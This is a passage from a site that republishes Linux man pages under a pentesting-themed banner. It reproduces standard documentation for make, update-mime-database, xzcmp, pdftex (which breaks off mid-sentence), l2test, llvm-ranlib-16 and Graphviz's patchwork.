➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command make and provides detailed information about the command make, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the make.

NAME 🖥️ make 🖥️

GNU make utility to maintain groups of programs

SYNOPSIS

make [OPTION]… [TARGET]…

DESCRIPTION

The make utility will determine automatically which pieces of a large program need to be recompiled, and issue the commands to recompile them. The manual describes the GNU implementation of make, which was written by Richard Stallman and Roland McGrath, and is currently maintained by Paul Smith. Our examples show C programs, since they are very common, but you can use make with any programming language whose compiler can be run with a shell command. In fact, make is not limited to programs. You can use it to describe any task where some files must be updated automatically from others whenever the others change.

To prepare to use make, you must write a file called the makefile that describes the relationships among files in your program, and the states the commands for updating each file. In a program, typically the executable file is updated from object files, which are in turn made by compiling source files.

Once a suitable makefile exists, each time you change some source files, this simple shell command:

make

suffices to perform all necessary recompilations. The make program uses the makefile description and the last-modification times of the files to decide which of the files need to be updated. For each of those files, it issues the commands recorded in the makefile.

make executes commands in the makefile to update one or more target names, where name is typically a program. If no -f option is present, make will look for the makefiles GNUmakefile, makefile, and Makefile, in that order.

Normally you should call your makefile either makefile or Makefile. (We recommend Makefile because it appears prominently near the beginning of a directory listing, right near other important files such as README.) The first name checked, GNUmakefile, is not recommended for most makefiles. You should use this name if you have a makefile that is specific to GNU make, and will not be understood by other versions of make. If makefile is ‘-’, the standard input is read.

make updates a target if it depends on prerequisite files that have been modified since the target was last modified, or if the target does not exist.

OPTIONS

-b, -m
These options are ignored for compatibility with other versions of make.

-B, –always-make
Unconditionally make all targets.

-C dir, –directory=dir
Change to directory dir before reading the makefiles or doing anything else. If multiple -C options are specified, each is interpreted relative to the previous one: **-C **/ **-C **etc is equivalent to **-C **/etc. This is typically used with recursive invocations of make.

-d
Print debugging information in addition to normal processing. The debugging information says which files are being considered for remaking, which file-times are being compared and with what results, which files actually need to be remade, which implicit rules are considered and which are applied—everything interesting about how make decides what to do.

–debug*[=FLAGS]*
Print debugging information in addition to normal processing. If the FLAGS are omitted, then the behavior is the same as if -d was specified. FLAGS may be a for all debugging output (same as using -d), b for basic debugging, v for more verbose basic debugging, i for showing implicit rules, j for details on invocation of commands, and m for debugging while remaking makefiles. Use n to disable all previous debugging flags.

-e, –environment-overrides
Give variables taken from the environment precedence over variables from makefiles.

-f file, –file=file, –makefile=FILE
Use file as a makefile.

-i, –ignore-errors
Ignore all errors in commands executed to remake files.

-I dir, –include-dir=dir
Specifies a directory dir to search for included makefiles. If several -I options are used to specify several directories, the directories are searched in the order specified. Unlike the arguments to other flags of make, directories given with -I flags may come directly after the flag: -Idir is allowed, as well as -I dir. This syntax is allowed for compatibility with the C preprocessor’s -I flag.

-j [jobs], –jobs[=jobs]
Specifies the number of jobs (commands) to run simultaneously. If there is more than one -j option, the last one is effective. If the -j option is given without an argument, make will not limit the number of jobs that can run simultaneously. When make invokes a sub-make, all instances of make will coordinate to run the specified number of jobs at a time; see the section PARALLEL MAKE AND THE JOBSERVER for details.

–jobserver-fds [R,W]
Internal option make uses to pass the jobserver pipe read and write file descriptor numbers to sub-makes; see the section PARALLEL MAKE AND THE JOBSERVER for details

-k, –keep-going
Continue as much as possible after an error. While the target that failed, and those that depend on it, cannot be remade, the other dependencies of these targets can be processed all the same.

-l [load], –load-average[=load]
Specifies that no new jobs (commands) should be started if there are others jobs running and the load average is at least load (a floating-point number). With no argument, removes a previous load limit.

-L, –check-symlink-times
Use the latest mtime between symlinks and target.

-n, –just-print, –dry-run, –recon
Print the commands that would be executed, but do not execute them (except in certain circumstances).

-o file, –old-file=file, –assume-old=file
Do not remake the file file even if it is older than its dependencies, and do not remake anything on account of changes in file. Essentially the file is treated as very old and its rules are ignored.

-O[type], –output-sync[=type]
When running multiple jobs in parallel with -j, ensure the output of each job is collected together rather than interspersed with output from other jobs. If type is not specified or is target the output from the entire recipe for each target is grouped together. If type is line the output from each command line within a recipe is grouped together. If type is recurse output from an entire recursive make is grouped together. If type is none output synchronization is disabled.

-p, –print-data-base
Print the data base (rules and variable values) that results from reading the makefiles; then execute as usual or as otherwise specified. This also prints the version information given by the -v switch (see below). To print the data base without trying to remake any files, use make -p -f/dev/null.

-q, –question
``Question mode’’. Do not run any commands, or print anything; just return an exit status that is zero if the specified targets are already up to date, nonzero otherwise.

-r, –no-builtin-rules
Eliminate use of the built-in implicit rules. Also clear out the default list of suffixes for suffix rules.

-R, –no-builtin-variables
Don’t define any built-in variables.

-s, –silent, –quiet
Silent operation; do not print the commands as they are executed.

-S, –no-keep-going, –stop
Cancel the effect of the -k option. This is never necessary except in a recursive make where -k might be inherited from the top-level make via MAKEFLAGS or if you set -k in MAKEFLAGS in your environment.

-t, –touch
Touch files (mark them up to date without really changing them) instead of running their commands. This is used to pretend that the commands were done, in order to fool future invocations of make.

–trace
Information about the disposition of each target is printed (why the target is being rebuilt and what commands are run to rebuild it).

-v, –version
Print the version of the make program plus a copyright, a list of authors and a notice that there is no warranty.

-w, –print-directory
Print a message containing the working directory before and after other processing. This may be useful for tracking down errors from complicated nests of recursive make commands.

–no-print-directory
Turn off -w, even if it was turned on implicitly.

-W file, –what-if=file, –new-file=file, –assume-new=file
Pretend that the target file has just been modified. When used with the -n flag, this shows you what would happen if you were to modify that file. Without -n, it is almost the same as running a touch command on the given file before running make, except that the modification time is changed only in the imagination of make.

–warn-undefined-variables
Warn when an undefined variable is referenced.

EXIT STATUS

GNU make exits with a status of zero if all makefiles were successfully parsed and no targets that were built failed. A status of one will be returned if the -q flag was used and make determines that a target needs to be rebuilt. A status of two will be returned if any errors were encountered.

SEE ALSO

The full documentation for make is maintained as a Texinfo manual. If the info and make programs are properly installed at your site, the command

info make

should give you access to the complete manual. Additionally, the manual is also available online at https://www.gnu.org/software/make/manual/html_node/index.html

PARALLEL MAKE AND THE JOBSERVER

Using the -j option, the user can instruct make to execute tasks in parallel. By specifying a numeric argument to -j the user may specify an upper limit of the number of parallel tasks to be run.

When the build environment is such that a top level make invokes sub-makes (for instance, a style in which each sub-directory contains its own Makefile ), no individual instance of make knows how many tasks are running in parallel, so keeping the number of tasks under the upper limit would be impossible without communication between all the make instances running. While solutions like having the top level make serve as a central controller are feasible, or using other synchronization mechanisms like shared memory or sockets can be created, the current implementation uses a simple shared pipe.

This pipe is created by the top-level make process, and passed on to all the sub-makes. The top level makeprocesswrites N-1 one-byte tokens into the pipe (The top level make is assumed to reserve one token for itself). Whenever any of the make processes (including the top-level make ) needs to run a new task, it reads a byte from the shared pipe. If there are no tokens left, it must wait for a token to be written back to the pipe. Once the task is completed, the make process writes a token back to the pipe (and thus, if the tokens had been exhausted, unblocking the first make process that was waiting to read a token). Since only N-1 tokens were written into the pipe, no more than N tasks can be running at any given time.

If the job to be run is not a sub-make then make will close the jobserver pipe file descriptors before invoking the commands, so that the command can not interfere with the jobserver, and the command does not find any unusual file descriptors.

BUGS

See the chapter ``Problems and Bugs’’ in The GNU Make Manual.

AUTHOR

This manual page contributed by Dennis Morse of Stanford University. Further updates contributed by Mike Frysinger. It has been reworked by Roland McGrath. Maintained by Paul Smith.

COPYRIGHT

Copyright © 1992-1993, 1996-2016 Free Software Foundation, Inc. This file is part of GNU make.

GNU Make is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 3 of the License, or (at your option) any later version.

GNU Make is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1622 - Linux cli command update-mime-database

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command update-mime-database and provides detailed information about the command update-mime-database, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the update-mime-database.

NAME 🖥️ update-mime-database 🖥️

mime-database - a program to build the Shared MIME-Info database cache

SYNOPSIS

update-mime-database -h | -v | [ -V | -n ] MIME-DIR

DESCRIPTION

update-mime-database is a program which is responsible for updating the shared mime-info cache according to the system described in the Shared MIME-Info Database specification from the X Desktop Group.

OPTIONS

-h
Print out a command summary.

-v
Print out the version information.

-V
Be verbose.

-n
Only update if MIME-DIR/packages/ or a file in that directory is newer than MIME-DIR/version. This is useful for package pre- and post-installation scripts.

ARGUMENTS

MIME-DIR
This is the directory for which update-mime-database should rebuild the cache. Mandatory if none of the options is provided.

AUTHOR

Filip Van Raemdonck ([email protected]) wrote this manpage for the Debian GNU/Linux project, but it may be used by others.

LICENCE

Copyright (C) 2002 Thomas Leonard.
You may redistribute copies of update-mime-database under the terms of the GNU General Public License.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1623 - Linux cli command xzcmp

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command xzcmp and provides detailed information about the command xzcmp, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the xzcmp.

NAME 🖥️ xzcmp 🖥️

compare compressed files

SYNOPSIS

xzcmp [option…] file1 [file2]
xzdiff
lzcmp
lzdiff

DESCRIPTION

xzcmp and xzdiff compare uncompressed contents of two files. Uncompressed data and options are passed to cmp(1) or diff(1) unless –help or –version is specified.

If both file1 and file2 are specified, they can be uncompressed files or files in formats that xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), or lz4(1) can decompress. The required decompression commands are determined from the filename suffixes of file1 and file2. A file with an unknown suffix is assumed to be either uncompressed or in a format that xz(1) can decompress.

If only one filename is provided, file1 must have a suffix of a supported compression format and the name for file2 is assumed to be file1 with the compression format suffix removed.

The commands lzcmp and lzdiff are provided for backward compatibility with LZMA Utils.

EXIT STATUS

If a decompression error occurs, the exit status is 2. Otherwise the exit status of cmp(1) or diff(1) is used.

SEE ALSO

cmp(1), diff(1), xz(1), gzip(1), bzip2(1), lzop(1), zstd(1), lz4(1)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1624 - Linux cli command pdftex

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pdftex and provides detailed information about the command pdftex, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pdftex.

NAME 🖥️ pdftex 🖥️

PDF output from TeX

SYNOPSIS

pdftex [options] [*&format] [file|*commands]

DESCRIPTION

Run the pdfTeX typesetter on file, usually creating file.pdf. If the file argument has no extension, “.tex” will be appended to it. Instead of a filename, a set of pdfTeX commands can be given, the first of which must start with a backslash. With a &format argument pdfTeX uses a different set of precompiled commands, contained in format.fmt; it is usually better to use the -fmt format option instead.

pdfTeX is a version of TeX, with the e-TeX extensions, that can create PDF files as well as DVI files.

In DVI mode, pdfTeX can be used as a complete replacement for the TeX engine.

The typical use of pdfTeX is with a pregenerated formats for which PDF output has been enabled. The pdftex command uses the equivalent of the plain TeX format, and the pdflatex command uses the equivalent of the LaTeX format. To generate formats, use the -ini switch.

The pdfinitex and pdfvirtex commands are pdfTeX’s analogues to the initex and virtex commands. In this installation, if the links exist, they are symbolic links to the pdftex executable.

In PDF mode, pdfTeX can natively handle the PDF, JPG, JBIG2, and PNG graphics formats. pdfTeX cannot include PostScript or Encapsulated PostScript (EPS) graphics files; first convert them to PDF using epstopdf(1). pdfTeX’s handling of its command-line arguments is similar to that of the other TeX programs in the web2c implementation.

Starting with version 1.40, pdfTeX incorporates the e-TeX extensions, and pdfeTeX is just a copy of pdfTeX. See etex(1).

OPTIONS

This version of pdfTeX understands the following command line options.

-cnf-line* string*
Parse string as a texmf.cnf configuration line. See the Kpathsea manual.

-draftmode
Sets \pdfdraftmode so pdfTeX doesn’t write a PDF and doesn’t read any included images, thus speeding up execution.

-enc
Enable the encTeX extensions. This option is only effective in combination with -ini. For documentation of the encTeX extensions see http://www.olsak.net/enctex.html.

-etex
Enable the e-TeX extensions. This option is only effective in combination with -ini. See etex(1).

-file-line-error
Print error messages in the form file:line:error which is similar to the way many compilers format them.

-no-file-line-error
Disable printing error messages in the file:line:error style.

-file-line-error-style
This is the old name of the -file-line-error option.

-fmt* format*
Use format as the name of the format to be used, instead of the name by which pdfTeX was called or a %& line.

-halt-on-error
Exit with an error code when an error is encountered during processing.

-help
Print help message and exit.

-ini
Start in INI mode, which is used to dump formats. The INI mode can be used for typesetting, but no format is preloaded, and basic initializations like setting catcodes may be required.

-interaction* mode*
Sets the interaction mode. The mode can be either batchmode, nonstopmode, scrollmode, and errorstopmode. The meaning of these modes is the same as that of the corresponding

1625 - Linux cli command l2test

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command l2test and provides detailed information about the command l2test, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the l2test.

NAME 🖥️ l2test 🖥️

L2CAP testing tool

DESCRIPTION

l2test - L2CAP testing tool Usage:

l2test <mode> [options] [bdaddr]

Modes:

-r listen and receive

-w listen and send

-d listen and dump incoming data

-x listen, then send, then dump incoming data

-t listen, then send and receive at the same time

-q connect, then send and receive at the same time

-s connect and send

-u connect and receive

-n connect and be silent

-y connect, then send, then dump incoming data

-c connect, disconnect, connect, …

-m multiple connects

-p trigger dedicated bonding

-z information request

OPTIONS

[-b bytes] [-i device] [-P psm] [-J cid] [-I imtu] [-O omtu] [-L seconds] enable SO_LINGER [-W seconds] enable deferred setup [-B filename] use data packets from file [-N num] send num frames (default = infinite) [-C num] send num frames before delay (default = 1) [-D milliseconds] delay after sending num frames (default = 0) [-K milliseconds] delay before receiving (default = 0) [-g milliseconds] delay before disconnecting (default = 0) [-X mode] l2cap mode (help for list, default = basic) [-a policy] chan policy (help for list, default = bredr) [-F fcs] use CRC16 check (default = 1) [-Q num] Max Transmit value (default = 3) [-Z size] Transmission Window size (default = 63) [-Y priority] socket priority [-H size] Maximum receive buffer size [-R] reliable mode [-G] use connectionless channel (datagram) [-U] use sock stream [-A] request authentication [-E] request encryption [-S] secure connection [-M] become master [-T] enable timestamps [-V type] address type (help for list, default = bredr) [-e seq] initial sequence value (default = 0)

Usage:

l2test <mode> [options] [bdaddr]

Modes:

-r listen and receive

-w listen and send

-d listen and dump incoming data

-x listen, then send, then dump incoming data

-t listen, then send and receive at the same time

-q connect, then send and receive at the same time

-s connect and send

-u connect and receive

-n connect and be silent

-y connect, then send, then dump incoming data

-c connect, disconnect, connect, …

-m multiple connects

-p trigger dedicated bonding

-z information request

[-b bytes] [-i device] [-P psm] [-J cid] [-I imtu] [-O omtu] [-L seconds] enable SO_LINGER [-W seconds] enable deferred setup [-B filename] use data packets from file [-N num] send num frames (default = infinite) [-C num] send num frames before delay (default = 1) [-D milliseconds] delay after sending num frames (default = 0) [-K milliseconds] delay before receiving (default = 0) [-g milliseconds] delay before disconnecting (default = 0) [-X mode] l2cap mode (help for list, default = basic) [-a policy] chan policy (help for list, default = bredr) [-F fcs] use CRC16 check (default = 1) [-Q num] Max Transmit value (default = 3) [-Z size] Transmission Window size (default = 63) [-Y priority] socket priority [-H size] Maximum receive buffer size [-R] reliable mode [-G] use connectionless channel (datagram) [-U] use sock stream [-A] request authentication [-E] request encryption [-S] secure connection [-M] become master [-T] enable timestamps [-V type] address type (help for list, default = bredr) [-e seq] initial sequence value (default = 0)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1626 - Linux cli command llvm-ranlib-16

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command llvm-ranlib-16 and provides detailed information about the command llvm-ranlib-16, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the llvm-ranlib-16.

NAME 🖥️ llvm-ranlib-16 🖥️

ranlib - manual page for llvm-ranlib 16

DESCRIPTION

OVERVIEW: LLVM ranlib

Generate an index for archives

USAGE: llvm-ranlib archive…

OPTIONS:

-h –help - Display available options

-v –version - Display the version of this program

-D - Use zero for timestamps and uids/gids (default)

-U - Use actual timestamps and uids/gids

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

1627 - Linux cli command patchwork

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command patchwork and provides detailed information about the command patchwork, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the patchwork.

NAME 🖥️ patchwork 🖥️

filter for drawing clustered graphs as treemaps

SYNOPSIS

patchwork [-(G|N|E)name=value] [-Tlang] [-llibfile] [-ooutfile] [-O] [-P] [-v] [-V] [files]

DESCRIPTION

patchwork draws clustered graphs using a squarified treemap layout. As input, it takes any graph in the dot format. Each cluster is given an area based on the areas specified by the clusters and nodes it contains. The areas of nodes and empty clusters can be specified by the area attribute. The default value is 1.

The root graph is laid out as a square. Then, recursively, the region of a cluster or graph is partitioned among its top-level nodes and clusters, with each given a roughly square subregion with its specified area.

OUTPUT FORMATS

Patchwork uses an extensible plugin mechanism for its output renderers, so to see what output formats your installation of patchwork supports you can use ``patchwork -Txxx’’ (where xxx is an unlikely format) and check the warning message. Also, The plugin mechanism supports multiple implementations of the output formats. To see what variants are available, use, for example: ``patchwork -Tpng:’’ and to force a particular variant, use, for example: ``patchwork -Tpng:gd''

Traditionally, patchwork supports the following: -Tps (PostScript), -Tsvg -Tsvgz (Structured Vector Graphics), -Tfig (XFIG graphics), -Tmif (FrameMaker graphics), -Thpgl (HP pen plotters), and -Tpcl (Laserjet printers), -Tpng -Tgif (bitmap graphics), -Tdia (GTK+ based diagrams), -Timap (imagemap files for httpd servers for each node or edge that has a non‐null “href” attribute.), -Tcmapx (client‐side imagemap for use in html and xhtml). Additional less common or more special‐purpose output formats can be found at http://www.graphviz.org/doc/info/output.html.)

Alternative plugins providing support for a given output format can be found from the error message resulting from appending a ‘:’ to the format. e.g. -Tpng: The first plugin listed is always the default.

GRAPH FILE LANGUAGE

Here is a synopsis of the graph file language, normally using the extension .gv, for graphs:

[strict] (graph|digraph) name { statement‐list }
Is the top level graph. If the graph is strict then multiple edges are not allowed between the same pairs of nodes. If it is a directed graph, indicated by digraph, then the edgeop must be “->”. If it is an undirected graph then the edgeop must be “–”. Statements may be:

name**=val;**
node [name=val];
edge [name=val];
Set default graph, node, or edge attribute name to val. Any subgraph, node, or edge appearing after this inherits the new default attributes.

n0 [name0=val0,name1=val1,…]; Creates node n0 (if it does not already exist) and sets its attributes according to the optional list.

n0 edgeop n1 edgeop edgeop nn [name0=val0,name1=val1,…];
Creates edges between nodes n0, n1, …, nn and sets their attributes according to the optional list. Creates nodes as necessary.

[subgraph name**] {** statement‐list }
Creates a subgraph. Subgraphs may be used in place of n0, …, nn in the above statements to create edges. [subgraph name] is optional; if missing, the subgraph is assigned an internal name.

Comments may be /*C‐like*/ or //C++‐like.

Attribute names and values are ordinary (C‐style) strings. The following sections describe attributes that control graph layout.

GRAPH ATTRIBUTES

size="x,y" sets bounding box of drawing in inches.

page="x,y" sets the PostScript pagination unit.

**ratio=**f sets the aspect ratio to f which may be a floating point number, or one of the keywords fill, compress, or auto.

pagedir=[TBLR][TBLR] sets the major and minor order of pagination.

rotate=90 sets landscape mode. (orientation=land is backward compatible but obsolete.)

**center=**n a non‐zero value centers the drawing on the page.

**layers="**id:id:id:id" is a sequence of layer identifiers for overlay diagrams. The PostScript array variable layercolorseq sets the assignment of colors to layers. The least index is 1 and each element must be a 3‐element array to be interpreted as a color coordinate.

**color=**colorvalue sets foreground color (bgcolor for background).

href=“url” the default url for image map files; in PostScript files, the base URL for all relative URLs, as recognized by Acrobat Distiller 3.0 and up.

URL=“url” (“URL” is a synonym for “href”.)

stylesheet=“file.css” includes a reference to a stylesheet in -Tsvg and -Tsvgz outputs. Ignored by other formats.

splines. If set to true, edges are drawn as splines. If set to polyline, edges are drawn as polylines. If set to ortho, edges are drawn as orthogonal polylines. In all of these cases, the nodes may not overlap. If **splines=**false or **splines=**line, edges are drawn as line segments. The default is false.

NODE ATTRIBUTES

**height=**d or **width=**d sets minimum height or width. Adding fixedsize=true forces these to be the actual size (text labels are ignored).

shape=record polygon epsf builtin_polygon
builtin_polygon is one of: plaintext ellipse oval circle egg triangle box diamond trapezium parallelogram house hexagon octagon note tab box3d component. (Polygons are defined or modified by the following node attributes: regular, peripheries, sides, orientation, distortion and skew.) epsf uses the node’s shapefile attribute as the path name of an external EPSF file to be automatically loaded for the node shape.

**label=**text where text may include escaped newlines \n, \l, or \r for center, left, and right justified lines. The string ‘\N’ value will be replaced by the node name. The string ‘\G’ value will be replaced by the graph name. Record labels may contain recursive box lists delimited by { | }. Port identifiers in labels are set off by angle brackets < >. In the graph file, use colon (such as, node0:port28).

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**color=**colorvalue sets the outline color, and the default fill color if style=filled and fillcolor is not specified.

**fillcolor=**colorvalue sets the fill color when style=filled. If not specified, the fillcolor when style=filled defaults to be the same as the outline color.

**fontcolor=**colorvalue sets the label text color.

A colorvalue may be “h,s,v**”** (hue, saturation, brightness) floating point numbers between 0 and 1, or an X11 color name such as white black red green blue yellow magenta cyan or burlywood, or a “#rrggbb” (red, green, blue, 2 hex characters each) value.

style=filled solid dashed dotted bold invis or any Postscript code.

**layer=**id or id:id or “all” sets the node’s active layers. The empty string means no layers (invisible).

The following attributes apply only to polygon shape nodes:

**regular=**n if n is non‐zero then the polygon is made regular, i.e. symmetric about the x and y axis, otherwise the polygon takes on the aspect ratio of the label. builtin_polygons that are not already regular are made regular by this attribute. builtin_polygons that are already regular are not affected (i.e. they cannot be made asymmetric).

**peripheries=**n sets the number of periphery lines drawn around the polygon. This value supersedes the number of periphery lines of builtin_polygons.

**sides=**n sets the number of sides to the polygon. n<3 results in an ellipse. This attribute is ignored by builtin_polygons.

**orientation=**f sets the orientation of the first apex of the polygon counterclockwise from the vertical, in degrees. f may be a floating point number. The orientation of labels is not affected by this attribute. This attribute is added to the initial orientation of builtin_polygons.

**distortion=**f sets the amount of broadening of the top and narrowing of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

**skew=**f sets the amount of right‐displacement of the top and left‐displacement of the bottom of the polygon (relative to its orientation). Floating point values between -1 and +1 are suggested. This attribute is ignored by builtin_polygons.

href=“url” sets the url for the node in imagemap, PostScript and SVG files. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

URL=“url” (“URL” is a synonym for “href”.)

target=“target” is a target string for client‐side imagemaps and SVG, effective when nodes have a URL. The target string is used to determine which window of the browser is used for the URL. Setting it to “_graphviz” will open a new window if it doesn’t already exist, or reuse it if it does. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

tooltip=“tooltip” is a tooltip string for client‐side imagemaps and SVG, effective when nodes have a URL. The tooltip string defaults to be the same as the label string, but this attribute permits nodes without labels to still have tooltips thus permitting denser graphs. The substrings ‘\N’ and ‘\G’ are substituted in the same manner as for the node label attribute. Additionally the substring ‘\L’ is substituted with the node label string.

EDGE ATTRIBUTES

**label=**text where text may include escaped newlines \n, \l, or \r for centered, left, or right justified lines. If the substring ‘\T’ is found in a label it will be replaced by the tail_node name. If the substring ‘\H’ is found in a label it will be replaced by the head_node name. If the substring ‘’ value is found in a label it will be replaced by: tail_node_name->head_node_name If the substring ‘\G’ is found in a label it will be replaced by the graph name. or by: tail_node_name–head_node_name for undirected graphs.

**fontsize=**n sets the label type size to n points.

**fontname=**name sets the label font family name.

**fontcolor=**colorvalue sets the label text color.

style=solid dashed dotted bold invis

**color=**colorvalue sets the line color for edges.

**color=**colorvaluelist a ‘:’ separated list of colorvalue creates parallel edges, one edge for each color.

dir=forward back both none controls arrow direction.

tailclip,headclip=false disables endpoint shape clipping.

href=“url” sets the url for the node in imagemap, PostScript and SVG files. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

URL=“url” (“URL” is a synonym for “href”.)

target=“target” is a target string for client‐side imagemaps and SVG, effective when edges have a URL. If the target string is empty, the default, then no target attribute is included in the output. The substrings ‘\T’, ‘\H’, ‘’ and ‘\G’ are substituted in the same manner as for the edge label attribute. Additionally the substring ‘\L’ is substituted with the edge label string.

